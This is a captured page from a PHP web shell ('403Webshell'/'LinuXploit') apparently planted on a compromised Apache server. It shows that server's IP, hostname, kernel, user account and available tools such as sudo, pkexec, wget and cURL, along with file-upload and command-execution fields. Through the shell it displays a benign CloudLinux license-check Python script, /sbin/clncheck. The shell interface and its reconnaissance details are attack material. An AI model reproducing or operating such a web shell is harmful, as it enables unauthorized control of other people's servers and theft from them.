- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.220.217.228
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sbin/clncheck
#!/usr/libexec/platform-python
#
# License key checking tool.
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2024 All Rights Reserved
#
#  see the output of "--help" for the valid options.
import json
import sys

import gettext
t = gettext.translation('rhn-client-tools', fallback=True)
# Python 3 translations don't have a ugettext method
if not hasattr(t, 'ugettext'):
    t.ugettext = t.gettext
_ = t.ugettext

from up2date_client import rhnreg
from up2date_client import up2dateErrors
from up2date_client import rhncli


class ClnCheckCli(rhncli.RhnCli):

    def __init__(self):
        super().__init__()

        self.optparser.add_option("--serverUrl", action="store",
            help=_("Specify a url to use as a server")),
        self.optparser.add_option("--sslCACert", action="store",
            help=_("Specify a file to use as the ssl CA cert")),
        self.optparser.add_option("--activationkey", action="store",
            help=_("Specify an activation key")),

    def main(self):

        if self.options.serverUrl:
            rhnreg.cfg.set("serverURL", self.options.serverUrl)

        if self.options.sslCACert:
            rhnreg.cfg.set("sslCACert", self.options.sslCACert)

        if not self.options.activationkey:
            print(_("An activationkey is required "
                    "to check a license."))
            sys.exit(-1)

        rhnreg.getCaps()

        try:
            key_information = rhnreg.checkKey(self.options.activationkey)
        except up2dateErrors.CommunicationError as e:
            print("%s" % e.errmsg)
            sys.exit(1)
        else:
            print(json.dumps(key_information))

        return 0


if __name__ == "__main__":
    cli = ClnCheckCli()
    cli.run()

Youez - 2016 - github.com/yon3zu
LinuXploit